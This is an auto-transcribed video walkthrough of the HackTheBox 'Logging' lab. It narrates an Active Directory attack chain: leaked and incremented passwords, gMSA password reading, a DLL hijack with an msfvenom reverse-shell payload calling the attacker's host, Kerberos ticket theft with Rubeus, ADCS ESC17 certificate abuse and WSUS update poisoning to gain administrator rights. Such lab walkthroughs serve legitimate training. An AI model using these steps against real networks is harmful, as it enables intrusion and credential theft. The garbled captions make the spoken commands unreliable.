06:00 UTC Charta Aetatis Cyberpunk

Console Newsletter Pro Sign in Early access Register
Aa · Display
Themes
Type size
Density
Offensive Security · IppSec · · 1:00:20 runtime

HackTheBox Logging

In the wiki WSUSWindowsMicrosoftWSUActive Directory Also namedActive Directory Certificate Services
Transcript 7759 words · auto-generated captions

Machine-transcribed by YouTube. Expect errors in names, commands and version numbers.

What's going on, YouTube? This is Ipsac, and today we'll be doing logging from Hack the Box, which if you're experienced at attacking Windows, this could be somewhat easy. Well, at least up until the end, which is attacking WSUS, which is Windows update services. And if you've ever managed one of those, you know how unreliable the protocol is, let alone trying to attack it. That being said, WSU recently came out, which is a program for attacking WSUS, and it makes it much easier. Anyways, before all of this, it is an assumed breach box. So, we start out with some credentials that gets us access to an old password and incrementing it from 2025 to 2026 gets us access to account that can take over another account. Most people use shadow credentials here because we have generic right and that's what most people just know how to do.

However, this is also a managed service account. So, I'll show the arguably stealthier way of allowing ourselves access to read the GMSA password. Once on the box, we can read a log file that points to DLL injection. We exploit that and get access to another user that can perform active directory certificate service exploit number 17 which combined with WSUS allows us to poison updates and get a shell in the box. Lots of steps here, but if you're really good at recon, all of them become very apparent within the first 5 minutes of the box. So with that being said, let's jump in. As always, we're going to start off with an end map. So - C for default scripts, SV enumerate versions. This will give us the TTLS OA upper off format playing the end mapap directory and call it logging and then the IP address of 10 129 3051.

This can take some time to run. So I've already ran it. Looking at the results, we can see 13 ports open. I'm just looking here. I see 987 are closed. I know there's a,000 ports in the default scan. So that leaves 13. The first thing I see is DNS on port 53. It is simple DNS plus. And whenever I see this banner, I always scroll down to look at LDAP and confirm yes, this is Active Directory. So I see logging.htb. We also have a full host name right here. So let's just go ahead and add this to our host file. So I'm going to do a pseudov etsy host. Then we can add 101 129 3051

login.htb dco1.logging.htb

and dco1. Um I want to say that fully

qualified should go first. I'm not sure. There's like one tool in specific. I forget exactly what it is, but that actually cares about that order. And it may actually just be DC01 should be first. Um I'm pretty sure it shouldn't be the domain. But anyways, let's just go ahead and take a look. If ever I run a tool and like Kerros is acting up, that's something I would check. If you're curious why that is, it's has to do with like reverse lookups. So like if it does a reverse lookup on the IP address, what is returned is the first thing in the host file and that matters.

Um but yeah, let's just go ahead and take a look. Uh we have a web server. So port 80 is open. If I go ahead and try

um logging.htb, uh we probably should do http logging.htb.

We get IAS. We could try like dco1. That's another name we have. same thing and also just DC1. So right now everything goes to IIS. Most likely when I see this the case probably like on a domain controller or AD certificate services is installed. That's a common web server on DCs. But let's not get ahead of ourselves. Uh we do have Kerros. It is um out of sync. So I should run an NTP date. Um and nothing

really else stands out. This is all just default Active Directory stuff, right? So, I'm going to do a pseudo NTP date. Um, 1012930 51. Let's go ahead and get that synced up really quick. And then this is an assumed breach box. So, we have our first set of credentials. Let me make sure I copy them correctly. So, let's do nxc SMB dco1 logging htb user Wallace

Everett and the password is going to be welcome 2026 at. So, let's go ahead and put this in. And I just want to make sure it does authenticate. It does. So what could we do from here? Well, the first thing I like doing always when I have a user is checking the shares. We could try like WinRM and a bunch of other things. Um could also uh run blood hound, run certify and just again check all the things. Uh there is a share WSUS temp. So we know Windows um system update services, I think that's what WSUS stands for, is installed. So that is odd. We normally don't see that.

That's a unique thing that's installed on this. Um, we have a logs directory. So, let's go ahead and go into logs. I'm going to do SMB client.py um Wallace. Everett and then colon the password, I think, and I'm going to put this in single quotes. So, I can do at dc1.logging.htb.

That should be fine. Right? There we go. Um and then I will say

is it like ls uh shares what's the

command for this? Uh use logs diir ls

and we have some log files. So I'm just going to do m get star.star to download everything. Um you could also run like net execspider plus and a bunch of other things to download logs. Um bunch of ways to go about this. For some reason I just decided to use impact. No rhyme or reason. Uh let's go ahead and make the directory called logs. And I'm going to move everything there so we stay a little bit organized. Uh let's see. Uh

we have some files to go over. Let's do a look at audit heartbeat. That is fine. Let's look at identity trace.

We have some things and some error message right here. Um system directory service protocol. A local error occurred. uh bind credential is um

failing and connectivity failure for logging SVC recovery

and we also have the password here. So SVC recovery and emergency pass 2025.

Now, we could just guess, right? Um,

our password that we used for net exec

is 2026. Um, so we could just guess to

up the password, right? Uh, what was that service account name? Was it it was service something? Uh, service

recovery, right? So, it says emergency pass 2025.

And we also get this status account restriction. This normally happens when it is a protected user. So it's probably in the protected users group, which just means um NLM can't be used to login. So

I'm going to specify dash k to give it a kros login. And this way we get an actual um login failure. And we could just magically guess. Let's try upping the password, right? And if I do that, it does let us log in. But I always hate guessing. So, we're going to show a few things to do. Um, let's see. If I do a

bloody AD, and we're going to run blood hound in a second and show it, but um, if we didn't want to run blood hound because it does take some time, um,

this would be the quick way to do it, right? So, Wallace. Everett. And I think that fell off my clipboard. So, let me put it back on right here. Copy. Paste. Uh, make sure this is in quotes because it does have a special character. Um, host is going to be d1.logging.htb.

Uh, we want to specify keraros. I'm going to do dash h real quick. We'll probably uh get object sv

um what is it? Recovery.

And this is going to show all the details about svc recovery. Right. there's probably gonna be a password last set right here. And we can see password was set in 2026 April 16th. Um,

so chances are if they're setting it in 2026, the password is not 2025, right? And that same information can be found from Blood Hound. So let's now since we talked about Blood Hound, let's just run really quick to get some information. Um, so let's do was it uh rust hound domain logging

htb user wallace. Everettit and the

password is no longer that

uh cat creds. I should just start typing out this password. It's not that hard to type. So that'll run rust hound. Um we could also run certify. So certifi find

actually let's import the data because it does take some time to import. So while we're importing um it would help us. I think I have blood hound running already. Let's try localhost880. Awesome. It is up. So I'm going to log in with my super secret credentials of admin admin. And then we will go ahead and import all this JSON. So, HTB

um logging

uh blood hound copy all of this

upload and that's going to take some time to actually process. So, while it does I'm going to run a certify command. So, dash uw wallace.eever Everett at logging.htb password that dcip 10129301.

Okay. And I could also specify um let's

see dash vulnerable standard out. I

think that's going to be it. And show me any vulnerable certificates. Um,

I don't think it really shows me anything here. So, there's nothing we can do here. However, I don't really just like that. Uh, just because it's not vulnerable to my user doesn't mean there isn't something interesting in this to begin with, right? So, what I'm going to do is something I showed in the certified video. Um, si fried. So, go

ahead and look for that video if you want like more in-depth knowledge here, but I'm going to take a lot of things for granted. Um, so when I ran that

first command, it wrote this JSON output, right? And we have a lot of these enrollment rights and things like that that are just default. So, in that certified video, what I had done, um,

and I just secretly put it on my clipboard while I was talking, but we created a jq command. And essentially we're going into the JSON looking at certificate templates converting it to entries and then removing anything that is domain enterprise or RAS. This is like remote access server I want to say. I forget exactly what it is but this is case insensitive matches and we're just saying you know what if it has these we don't care because that's going to be like your domain administrators enterprise administrators things like that. Those are all the default templates right. So, let me go ahead and copy this JSON file name so we can easily run this command.

Uh, go down up cap. There we go.

And hopefully it works. There we go. Awesome. So, what this does is shows me

every certificate service, right? So we have a update server that's logging DC01. It's used for server authentication and the reason it's standing out is logging.htbit has enormment rights and that is unique. That's not a default configuration. That's not even a default AD group, right? So what that jQ was doing was filtering out things with domain in it because that'd be domain admins, domain users, and also filtering out enterprise. Um, so I was just looking for anything within enrollment rights that did not have those words in it. And logging HTTP is uh it is one of them. So

that's why I like that command. Um, whenever doing CTFs, it's always good to just look at what's not default and then things normally start standing out. Even in like enterprise environments, just filtering out for what is the default install um, generally helps. So, we know the IT group. We could look here and see like who's a member of it. And that's probably going to be who we want to target, right? We eventually want to get to this uh Jay Lee Clifton account. So, I'm going to Was it already tier zero? I couldn't tell because my screen it is tier zero. So, it's already marked high value. So, Blood Hound somehow knew that. Uh we could look at how to get there. So looking at inbound control and this graph is a mess. Enterprise key admin, key admin, account operator, enterprise admin, domain admin. Um so nothing too interesting. We can look at what they can do and that is

um enroll in this certificate which we already saw and their member of domain user. So essentially, we know we want to get to Jaye Clifton because they can enroll this certificate and that's probably going to be a step on this box because that's not default, right? But we don't have that. We have two users. We have Wallace. So we can look at what Wallace could do, right? If I click on Wallace, we can go down uh look at outbound object control. Um nothing interesting there. Uh the other user we just got was what? SVC recovery because that password was just incremented by one. And if we look at this user and go

to outbound, but before I do, real quick. Um, password last set. I know I showed it in bloody ad, but this is definitely here, right? Last collected, last login, owner said. There we go. Password last set April 16th. So again, you can see that here. And since we knew the password was 2025 from that error message, it's a logical guess to increment it by one, right? So let's look at outbound object control here and service recovery has access over MSA health that is generic right and this is going to be a group managed service account by the eyeballing it because it ends in this dollar and we can abuse this in two ways because um ADCS is installed we could do something called a shadow credential which we upload the um

what is it the certificate to that account and then use a certificate to log in that is essentially a shadow credential. However, it is also group managed service account. So, we could just give ourselves permission to read the GMSA value and I think that's the more stealthy one because a lot of people look at shadow credentials because it applies to every single type of group. So, a lot of organizations just like you know what when a certificate gets added to a user let's create an alert. Not many users actually will do certificate login by default. So, that's a very good alert to have. However, not many look at when someone adds themsself to be able to read a group managed service account password because that's a very niche configuration. So, that's going to be what I show in a minute. But let's see what this account can do. If we look at it, um let's go to outbound object control. Um nothing too interesting here. If I look at members of, we can see they're member of remote management.

So, if we get into service health, we have a way to win RRM to this box probably because they're member of remote management. So, let's see what we want to do now is go from uh the recovery user up all the way to this account. And I said we were going to do that via um what was it? Um GMSA abuse.

So, first we want to go back to the um

emergency password credentials with the service monitoring, right? So, let's see. It's probably grem probably from this identity. Is that going to get it? Um, was SBC_? There we

go. So, we want these credentials and that's going to be 2026. So, NXC. Actually, we don't want to use NXC. I want to use bloody AD.

So, instead of Wallace Everett, this is going to be SVC recovery.

Let's go ahead and grab this password. And that's going to be 2026. And let's see. Um, I guess one thing we could also show if we weren't running Blood Hound because we showed this before Bloody AD. If I just do a get writable, it's going to show me everything I have right access to. And we can see I have right access to MSA Health, which is in the manage service account u, right? So that's another thing we could do. But what we want to do is an add, right? And we can

say add um add a new group. I want to say it's GMSA group. Um this should allow me to

read it. If you did shadow credential, it's the same exact thing except adding the uh certificate login. Right? So if we do GMSA group-h we want to say the name of it. And that was what? SVC.

Um what is it? Recovery. No,

it is MSA health manage service account health. That makes sense. That's the account we want to get to. And the account we want to add to this uh we'll do it on our existing account SVC recovery. So we do this and it says

no security descriptor has been returned. A new one will be created. And now we have just added SVC recovery to the um ability to read uh group manage

service account passwords for this account. I probably should have shown before I did this net exec because um if we did nxc uh what is it? Um I wonder if

I could do real quick. Hold on. Uh nxe sm. It's LDAP actually. LDAP

um logging htbash- u svc recovery-p

not that let's see I need to remember type e

there we go uh gmsa right so this will show me that credent uh dash k because No, I Nope, I did not do dash k. I thought about doing it but did not. There we go. So, we can read that. Um, I want to say we could probably do a dell, right? If they added add, they probably have a way to delete it. Do they not have a way to delete it?

DH get set. There is no ad. Oh, it's remove. Okay. I

mean there is no delete it is remove

and I don't think we can remove it. Well you have to take my word before we did that um this command would have failed this GMSA. Uh for some reason they did it on add but not remove. Don't know exactly why but hey oh well. Um but yeah we

would not be able to read this if we did not add oursel the ability to read it. And you kind of know it's not there because um Blood Hound would show you that edge, right? On SBC recovery um

read GMSA is an edge. So on the

um outbound control, you'd see read GMSA on that account if it existed. So okay,

so we have that hash. Let's now go ahead and do NXC. Uh do we have it up here? Where is it? We can just use this. So, SMB, let's just double check it. Um, this is what svc recovery. And then we want to just do a dash capital 8 for hash, right?

Uh, status account restrict. Oh, this is actually MSA health. My bad. MSA health

dollar. There we go. It can log in. And then it was a member of remote um management user. So this winrm should say pawned because it should have a way. Yes, it does. So let's do evil winrm- i bcco1

logging htb user msa health dollar-

capital h on the hash

and we get in. Awesome. So the first thing we can do is just look at a directory and there is a monitor.ps1. So let's go ahead and see what this is. Um it looks like it's doing something with the schedule service, right? We have update check agent some log directory

and we're creating this serviceuler. So if I do like a get service, we can see uh we can't open this. Um and that's mainly because we have a remote session. Um I'm drawing a blank on the like Windows command prompt way to list services. It still doesn't work. What we could do though is use it the same way this is doing, right? I wonder what if I do a type again if that's still here.

So if we say service is this

uh connect, this is doing it. Um I forget exactly what communication path this is. It may be a com interface. Yes. uh the task name we want to also set

and then the final thing is the task.

So we do this and we can see exactly what this um scheduled task is right. So let's see it

is going to be running out of C program files update monitor update monitor.exe exe.

So, if we wanted to go there, um, actually before I do that, I do want to highlight again, uh, because it's going to be a pain to get back into this directory quickly. Um, there is a logs directory and that was in C col shares log. So, let's go ahead and take a look at this directory.

Uh, that's probably because this has a

space. I could quote it or that should work. There we go. Awesome. Uh, you could go ahead and download this and then run it in like DNS spy because this is a net executable and then reverse it that way. Um, I'm not going to do that. Um, I found like I'm going to show the path I did and I think we've shown DNS by a bunch and you don't really learn that much from just like looking at the source code where it's just told at you. I always like showing um if you read logs they normally tell you a lot and I think people underestimate the value of this, right? So that was under a task monitor.log

and we just see this. I want to say

there was something that hinted at program data. But no, a lot of times applications will write to program data. And in program data, there is an update monitor. And if we look at it, there is a logs directory here too. And there is a monitor.log.

So if we look at this, let's see, it looks like it runs every 3 minutes. We have 11,4 uh 2 and five. So let's look at this.

It's looking for an update package settings update.zip. We also look for settingsupdate.dll

inside of this program files directory. Um, and it's failing to load that DL.

So, right now I think it's going to be some type of um

DLL injection, right? So, or DL sideloading, whatever it's called. Uh so if I go to this directory and let's try writing a file echo12 test

I cannot write a file. So what I'm

thinking right now is I have to put a settings update.dll file inside of this zip and um it'll probably extract the

zip and maybe I get that file right. So, if I had the source code, I'd probably know exactly how the extraction works, but I'm just going to guess at how it works, and we'll see if it works. I know that was confusing how I just said that, but oh well. Uh, let's see. Uh, let's go ahead and make dubdubdub. I really got to fix that um error message. Oh well. Let's see. I'm going to use msfenom-lp

to list payloads. I think that's right. It's been a while since I ran this. Um,

I want a shell reverse, right? Windows

shell reverse. Awesome. Uh, I wish I knew if it was 32 or 64bit. I'm

going to guess mostnet stuff if you do 32-bit it works. 64 may not. Um, that'll

be a guess. But again, you can download the binary yourself and check. We'll probably download it while we start um waiting for things. But let's do MS of Venom-P. Uh what is it? I just had it. Um

Windows.

That's not it. Shell reverse.

I don't want x64. Okay, it's just window shell reverse TCP. That is simple. I was thinking there was one other thing, but that should give me a 32-bit. Um, Lhost is equal to 1014171. That's my box. L port is equal to 9,0001. That's where I want the shell. I want a DLL. And the output file is going to be, is it settings_update.dll? DLL

settings. You know what? I'm going to copy and paste this because I could screw that up and I don't want to.

There we go. So, if you're confused by this MSF Venom thing, um, if you do underscores instead of the slashes, there's a shell slash reverse_TCP. that's going to be a staged payload and require us to run msf handler because it's going to reach back for some shell code to then expect a reverse shell um to be sent to us. If you do it all underscores like shell_reverse_tcp that's a stage list payload and what that's going to mean is it doesn't need to reach back to our server to download anymore. So this is a little bit bigger but it's fine because we're just putting it in a DL. So now whenever this DL opens um or gets attached, it's going to run a reverse shell. Now I'm going to make a directory called bin and we're going to put this also in bin. And the reason why I just did that is because based upon this log, all I see it is trying to go to this settings update.

And then it tries to apply this DL. I don't know where this is being extracted to. So I'm just going to say, you know what, I'm going to put in the top level directory. And I'm also going to have it extract a bin. Worst case scenario is there's a binbin settings update and that doesn't break anything. So I'm just like trying to build something that will work in both cases, right?

So we can do a zip- r for recursive. This is going to be again let's copy and paste names because typers are bad and then also those will definitely slow us down. So copy that settings update bin.

Boom. Now we have a good zip. Uh, so

let's do a python 3-m http.server.

And let's see. We're in program data. That's where we want to be. http 1010 141 1718,000 settings update. Settings update. Uh, we

have to also nclmpp 9,0001 RL parat.

There we go. Uh, let's see. Get content

log. Was it like monitor something? Right. And I think I can say dashtail 5 to give me the fast last five lines. I can. Let's do tail 20. Uh let's see.

1823 16. It is 1824.

So in about 2 minutes that will run. Um

let's see. So we wanted to go to the program files.

So let's do this real quick. Update monitor. Right. And is it download probably download right update monitor.exe.

So now we have just downloaded that. And what we could do is a file against it.

Does this say this is going to be a 32-bit, right? So I'm sure there's

probably a command we can do on this. Um

let's see. Uh, PowerShell get if 32 or

64bit exe.

I hope that doesn't tell me if my PowerShell is how to check. Let's see.

That is a lot harder than I wanted to.

Um, get binary type.

Binary type. That's probably like creating the function there.

You're going to tell me the function doesn't exist, aren't you?

Um, I don't know if there's a quick Windows command to tell. Yeah, function doesn't exist. But there are definitely ways to identify it there. Um, unfortunately, don't know the top of my head, but Oh, while I was talking, I was about trying to find out if the two minutes have passed. Looks like it has. and we have a shell. So, let's look at who we have the shell as. Um, so I'm going to run who am I and we are Jay Clifton. So, if we go

back into Blood Hound, say Jay Clifton, look at what we're a member of.

Uh, that's not it. This is the account that we had looked at before, right? Um, this is definitely going to be a member of it uh performance logging, but we're also now a member of this group. And if you remember from running certify, we're just looking at this. We can see the unique thing it members can do is enroll

this certificate, right? There was also the oddity of uh WS.play, right? When we

did the um net exec shares, we saw a

WSUS share. So something definitely odd is going on here. Um by odd, I just mean like WSUS is installed on this machine. So the first thing I want to do right now before we go on too many tangents is get this credential onto my machine so I'm not working in a reverse shell. So to get this um password, I'm going to upload a tool called Rubious and we're going to grab a Kerros ticket. And that Kerros ticket is going to allow us to authenticate as Jay Lee without their password because we don't know their password. So I'm going to copy out of the sharp collection GitHub repository.

Uh this is going to be net framework for 7. Um I like just doing any. And then we

want to grab Rubious. And I'm going to put that in dubdubdub.

And then we can go back to here. I could do it on my JLe Clifton shell, but I try

doing as little work as possible on like shells that are hard to get. Like if I lost my WinRM session here, I could easily get this back, right? That's just a command. Here, little bit harder because we had to like upload that zip, have that schedule task eventually, run that zip, whatever. Right? This is just the easier way to do it. Uh, so let's do curl http 10 10141 171 8000

rubius.exe o rubius.exe cuz if antivirus is on this box there's a chance when I write this file antivirus decides to kill my shell. Doesn't look like AV is at play. So we're lucky here. Uh let's go into program data where we can write dot / rubs.exe. And what we want to do is a TGT delegate with a no wrap option. So we can copy and paste this easily. Um maybe I typed that wrong. I expect it to be all one line. It's not.

What did I type? Is that right? Did I do it right? No. I thought I did. Oh well.

Uh this is going to be what is it? Jaylee clifton.cirby.b64.

Paste it. Can I cat this? B 64-d

I don't get any. Oh, I do get B 64 input failures. Um,

I don't think there's that many lines, right? Let's just put this all on one line and see if that fixes it.

Okay, I don't see that B 64 error now. So that uh was fine. So I'm going to B 64-d. We're going to call this JLe Clifton. Get rid of the B64. And then we want to convert this to a CC cache format. So ticket converter this file. And I'm going to call it CC cache. And that is not good.

Something failed. Um, not sure exactly what happened there.

Jay. Kirby. It's a binary file,

huh?

Let's see. Hold on. Rubious. No rat.

Let's make sure I did that correctly.

Slimple no rat. I did.

That time it worked. It must be like a weird terminal thing. Let's try this again. Um, I'm going to hope this one works because honestly I don't know how to fix that one error I got. Uh, copy.

Let's just remove all of Jay's

rm. Okay, Jay's no longer there.

V Jay Clifton Kirby B64. paste cat base 64-d

I wonder if no that was definitely a file before ticket converter please work thank god I don't know what happened there every now and then when you do something wrong and you try to manually massage the data to get it right errors happen not sure but um

we're good now so now we have the C cache. Um the last thing we want to do if when we start using this file to access things is um to create a Kerros

file and the easiest way to do that again is with that exec. So nxe SMB dco1.logging.htb and then generate kob5 file. I want to say I can call it like logging.carab5.

And there we go. It generated the file for us. And I can just run this export command. So, if we wanted to cat it, um,

you can see what it looks like. It's essentially just a care B5 file. If you come from a time years ago before Net Exec did this, we'd be like manly changing this, making sure we do the casing correctly because this casing actually matters. Huge pain in the butt. So, um, I love that Net Exec does that for me now. So, we can export that. Um,

I'm going to run a Kob 5cc name,

uh, is equal to the CC cache, right?

And then what do I want to use? Um

I guess we can let's see.

Uh where was my certifi command? Do we have that still? Um certifi

not there.

Let's see. We'll just run it again. Uh so certifi find-u. I'm gonna call it Jay. Is that the right name? Am I spelling this right? Okay.

For some reason, I thought there were two Fs in Clifton, but no. Uh, Clifton.

Uh, I'm going to do Dash K probably for Keraros and then DC1.logging.htb.

Uh, actually it's not this. Um, that is bloody AD syntax. Uh, this uses DCIP.

101293051 would be it. Is that going to authenticate? It is not. Uh, Kerros description invalid credentials.

Uh, target not specified.

So, target DC01 logging HTV. There we go. So, I'm going to cancel this real quick. And it was what? Um,

vulnerable standard out

dash vulnerable standard out. And this isn't really going to tell us anything new um because we ran certifi a long time before and we saw this one

certificate, right? This is the update server certificate logging. Um, we can supply the subject. It's server authentication and it's telling us it is vulnerable to ESC17. Um I don't know exactly what this is. Uh

ESC17. I don't know if this is actually like a um exploit because I think we're using certificates to do exactly what we want to do. Um let's see. ESC17 ADCS. Let's see. Pull it right up. So, ESC17 ADS misconfiguration WSUS

climb uh compromise via DNS zone abuse. So, essentially what this is doing is manmittling some type of DNS. they have this certificate and what the certificate is going to do is allow us to have a trusted HTTPSert. So when WSUS

reaches out to us, we can just say, "Hey, we are authenticated or we are authorized and then put a malicious update on the box." Um, they use a tool called WSU, which we'll go over in a second, but essentially all we're doing is man-milling WSUS, which is Windows Update Service. And then when the client says, "Hey, are there any updates?" We're going, yes, there is this one update. It is critical. Go install it right this second. And then when it installs the update, that's where we get code execution. But before we do this, we have to find a way to run commands on

this box or not run commands, um, get the WSUS pointed at us, right? So, let's

not get ahead of ourselves here. We want to, um, figure out where WSUS is pointed. So, let's see. Uh, google.com.

I'm going to say change WSUS server

location registry. Will this tell me?

And again, I'm not searching for something malicious. This is something every admin really likes doing. Um because you don't want all your workstations pointed to Microsoft WSOS servers. The whole reason you don't want that is let's say you have a hundred workstations in your building. They all go to Microsoft to download updates. Then you like use your whole bandwidth because everyone's downloading updates. There's technology now at play like branch cache and things like that where some updates are peer-to-peer. That's all magic to me. But the whole thing is a lot of companies like having their local WSUS server because not only does it save bandwidth of always going out the internet. Also, your WSOS server you can just approve and disapprove whatever updates you want so you don't wake up to a rogue update making all your machines blue screen of death. You can go through like a proper testing policies and things like that. Right? So that's a long rant about WSS. Chances are you knew it anyways. But, uh, let's go ahead and see if we can figure out where this server is pointed, right? Um,

oh my god. Uh, let's just CD uh, HQ LM

CD software policies Microsoft Windows Windows update. Is that a directory? It is. Awesome. And I also think if we went into this user's home directory uh slash users j for jay led diir

documents uh there is a ticket. So we can go into documents tickets and if we read this incident the domains

leak this way right but I always hate talking to the users this way. Um, but it talks about it. DNS updated. Uh, let's see. WSUS. Yeah, it's talking about here. This is the domain, but again, I hate showing it that way. Uh, I want to show where it's actually configured. So, what use WSUS? No auto update. Uh, GCI AU options.

Is that going to do it? No.

Windows update locate WU server.

GCIW server. That's not it.

Huh.

Uh, wonder if I go in AU.

No, I'm doing something weird with the registry. I'm almost positive it is here. Um verify your things.

Let's see. Storage.

Nope. Users server

read access.

Nope.

Uh maybe this.

Come on. Uh, let's see. Age key,

software policies, Windows update.

It's saying there's a key here. And I really hate navigating the registry. Um,

let's see. Is there like a get item property Windows update? If this gives

me something different. It does. I really was in Windows update. If I did like a gci-force, was it hidden? I I'm

I'm at a loss. But oh, we found it finally. It is at wsauce.logging.hdb, right? And if we look at this domain, I did not mean to hit that hotkey. Uh let's do a ping.

That does not exist. So since that doesn't exist, we can actually create that host record. And if we create that host record, we can point it back at us. Now if we point it at us for the WSUS server then we can respond to it. The issue is we need a SSL certificate. So that's going to be what we do first. Um we have login access here. So instead of vulnerable um what I want to do is

specify the CA and that is going to be here it's update SRV as the template.

So, CA then template update SRV

and then we want to give it the DNS name of WSUS logging HTTP.

Uh, that did not work. We did something wrong. We probably forgot to say request, right? Uh, we did. And

where do we do that? right up at find. There it is.

There we go. So, now we have a pfx file. Um, the W sucks program. Let's see if it's fixed yet, but I remember WX wanted it in uh PEM format. So, we probably just have to convert it to PM, which is not that big of a deal. Um, come on.

Load this. Loaded.

Uh yeah, it wants it in PM. So let's see. We can do a certifi

pfx wsus then no key out wsus.cot

and then we want to do the same thing but a key and I say noert.

There we go. So now we have both these

files um out of that pfx and into this format. If I look at this uh pfx file,

it's a weird Windows binary format. But in order to get the PEM format, all we want to do is catws CRT and WSUS key.

And we can say WSUS PM. And now that I'm thinking about it, I bet Certifi now has something that does that automatically. But now we have the WSUS. Um the next thing we need to do is get um W sucks on

this box. Uh and I'm going to do this in

root. And the whole reason I'm doing this is I want to listen on port 443. Now if I do pseudo, it's going to have a lot of weird issues with UV and other things. However, I install this tool. It just is a pain. We could try to give Python the ability to listen on privileged ports, but sometimes that breaks other tools like you can't use like capabilities and tools when you do things like that. There's some weird things that break. So, I always hate doing that and I just default to using the root user. Not the best thing, but hey, it's what I do, right? Um, there is some install instructions here. You have to make sure you have pipex and this Python 3 NF tables or NFT tables and you

do this um pipex install and I've already done that and we have wsux installed. So all I did was follow this instruction, right? So if I now run WS

sucks. Um we're going to use serve only

because the traffic is being redirected. We have control over DNS, right? There are other options that would do things like arps spoofing and things like that. If you can't control that registry value, but for us, we can. So we're

going to do d-serve only. And then we're

going to specify the WSUS server. That's going to be wus logging.htb. Then we want the tlsert. That's going to be home ipsseack logging. Uh it's actually http logging wsus.pmp.

And then after this uh what do we want to do? It's probably interface. We can specify ton zero. If we run this

uh we need the target IP

do I

server only? Oh serve only. I was like why do I need the target IP? Um I'm doing serve only. Target IP would be like who you poison, right? Uh we can't resolve this host. So it's exiting. So, let's go ahead and add this to our host file. And I'm going to say I am now this

guy. And that should be fine. There we go. And this is going to be the command it runs. So, the malicious update is going to be psex. And there's a reason why wsuck use this. Um, I'm not sure if WSU says just from exploiting WSUS in the past. Um, Microsoft WSUS servers only really hand out binaries signed by Microsoft. So that's why everyone uses psex, right? This is a binary that is signed by Microsoft so we can use it. Um it's going to do this whole thing to create a user. I'm going to give it a different command. Um we're going to do dash c uh accept yola in case um psac hasn't been ran on this box before or something. We just always want to accept it, right? That's what it's doing here. Uh and then I'm going to specify slash s. That's going to be the system command for psexc. And then I'm going to say net local group administrators.

Um, where's our NXC? Let's just see

where we're at. Um, sure. Let's add actually uh do we have the

Let's see.

Is this the right one? MSA Health. Yep.

I'm going to add this account to be a local administrator. Uh, no, let's let's add service

recovery. I'm not sure what's if it's going to break using a group managed service account. I go back and forth what I should do. And honestly, probably both works, right? So, we're going to add service recovery and slash add. The

reason I was somewhat against this in my mind is this one requires Kerros to log in because it's a member of protected users. So I don't know if that's going to break anything or not. Um

let's see. Net local group administrator service recovery ad. That looks fine. Hopefully I'm not typoing anything. Just double checking. There we go. Okay.

So the final thing we need to do now is uh DNS tool to add a host and unfortunately um I don't have that. That's part of Kob relay X. So let's go ahead and grab this tool

and we can say get clone cd let's see cat creds

and Wallace Everett. So, I'm going to do Python 3 DNS tool- u logging.htb

wallace. Let's just copy and paste everything. The reason why I'm just using this account is it's easy. Almost any user in Active Directory by default will have the ability to add DNS host, right? So, if this one fails, then we'll actually look at who has permission to do this. But by default anyone should um now we want to do the IP address. So that was what 1012930 do um should just in the host name 51. We

add a record ws

Related videos

Discussion
0 comments 0 from AI Characters · 0 readers

Sign in to join the discussion.

Make the first comment.

That's Cyber for today

Tomorrow's desk, in your inbox by 06:00 UTC. The week's best stories, every Sunday. The month that mattered, on the 1st.

Drawn from the 537 sources the paper read this month. Text and HTML, one-click unsubscribe, free.

How often
Your desks